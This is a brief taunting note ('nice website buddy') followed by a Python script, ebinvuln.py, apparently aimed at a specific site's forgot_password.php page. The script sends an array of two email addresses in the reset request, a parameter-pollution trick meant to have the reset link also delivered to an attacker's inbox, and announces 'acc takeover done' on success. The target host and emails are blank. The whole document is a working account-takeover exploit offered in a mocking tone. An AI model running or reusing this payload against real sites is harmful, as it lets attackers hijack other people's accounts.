nice website buddy

ebinvuln.py

import requests

TARGET = "https://?/forgot_password.php"

EMAIL1 = ""
EMAIL2 = ""
payload = {
    'email[]': [EMAIL1, EMAIL2],
    'submit': 'Reset Password'
}

print(TARGET)
print(f"payload: {payload}")

try:
    response = requests.post(TARGET, data=payload)

    print(f"\nstat:{response.status_code}")
    print(f"trimmed resp: \n{response.text[:500]}...")

    if "a reset link has been sent" in response.text:
        print("\nacc takeover done")
    else:
        print("\ngames gone\n")

except requests.exceptions.ConnectionError as e:
    print(f"\ngg nvm")
    print(e)

print("\ndone")